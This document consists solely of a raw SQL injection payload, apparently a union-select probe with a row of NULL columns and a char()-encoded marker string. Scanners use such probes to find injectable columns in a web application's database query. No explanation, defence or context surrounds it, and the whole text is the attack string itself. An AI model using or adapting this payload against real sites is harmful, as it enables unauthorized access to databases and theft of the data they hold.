1； and 1=0 uNion All Select NULL,NULL,char(57)+char(49)+char(57)+char(52)+char(49)+char(49)+char(52)+char(57)+char(98),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL—